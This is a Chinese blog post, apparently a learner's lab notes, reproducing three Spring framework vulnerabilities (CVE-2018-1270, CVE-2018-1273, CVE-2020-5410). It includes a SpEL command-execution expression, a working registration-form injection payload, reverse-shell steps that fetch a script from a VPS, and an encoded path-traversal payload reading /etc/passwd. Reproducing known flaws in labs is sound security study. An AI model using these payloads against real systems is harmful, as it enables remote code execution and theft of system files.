漏洞复现|Spring框架漏洞合集

前言 上周用了一周的时间把java基础部分看完了(也就是能看懂代码),打算把常见java框架的漏洞复现一下,后面着重web端的渗透测试以及实战项目,还要学免杀、社工(任重道远),所以不打算学习java框架了,以复现为主。
简介 Spring是一个开源框架,它由Rod Johnson创建。它是为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅限于服务器端的开发。从简单性、可测试性和松耦合的角度而言,任何Java应用都可以从Spring中受益。
常见漏洞 Spring Messaging 远程命令执行漏洞(CVE-2018-1270) 漏洞简介
spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,
在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。
影响范围
SpringFramework 5.0 ~ 5.0.4,4.3 ~ 4.3.14,以及停止维护的更老版本均受影响
漏洞复现
环境主页:
漏洞复现|Spring框架漏洞合集
文章图片

spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。
STOMP协议:将数据组合成一个文本流。
sockjs协议:发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信。
执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
访问/gs-guide-websocket:
使用作者给出的POC
即可执行命令。
说明:这里不做演示,作者给出的说明很完善。
Spring Data Commons 远程命令执行漏洞(CVE-2018-1273) 漏洞简介
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
影响范围
Spring Data Commons 1.13至1.13.10(Ingalls SR10)
Spring Data REST 2.6至2.6.10(Ingalls SR10)
Spring Data Commons 2.0至2.0.5(Kay SR5)
Spring Data REST 3.0至3.0.5(Kay SR5)
较旧的不受支持的版本也会受到影响
漏洞复现
【漏洞复现|Spring框架漏洞合集】环境主页:
漏洞复现|Spring框架漏洞合集
文章图片

注册用户进行抓包:
payload:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

漏洞复现|Spring框架漏洞合集
文章图片

结果:
漏洞复现|Spring框架漏洞合集
文章图片

反弹shell:
首先在vps上开启http服务,并编写bash反弹脚本:
漏洞复现|Spring框架漏洞合集
文章图片

抓包执行命令,下载该脚本:
/usr/bin/wget -P 目录 脚本网址curl -L url -o

然后使用/bin/bash执行该脚本即可,但是我这里一直下载不了。烦死了…
Spring Cloud Config 目录穿越漏洞(CVE-2020-5410) 环境搭建
下载 v2.2.2 版本并解压:
wget https://github.com/spring-cloud/spring-cloud-config/archive/v2.2.2.RELEASE.tar.gz tar -zxvf v2.2.2.RELEASE.tar.gz

安装启动:
cd spring-cloud-config-2.2.2.RELEASE/spring-cloud-config-server ../mvnw spring-boot:run

查看是否启动成功(默认8888端口):
spring cloud config

或者使用docker进行搭建:
docker pull hyness/spring-cloud-config-server:2.1.6.RELEASE docker run -it --name=spring-cloud-config-server \ -p 8888:8888 \ hyness/spring-cloud-config-server:2.1.6.RELEASE \ --spring.cloud.config.server.git.uri=https://github.com/spring-cloud-samples/config-repo

漏洞复现|Spring框架漏洞合集
文章图片

影响版本
Spring Cloud Config: 2.2.0 to 2.2.2
Spring Cloud Config: 2.1.0 to 2.1.8
漏洞复现
主页:
漏洞复现|Spring框架漏洞合集
文章图片

payload:
/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/ddd

这里不知道为什么,payload打不了,所以又换了个环境:
http://vulfocus.fofa.so/
漏洞复现|Spring框架漏洞合集
文章图片

心态炸了,不写了,找到一片文章,写的很详细:
Spring框架漏洞复现笔记

    推荐阅读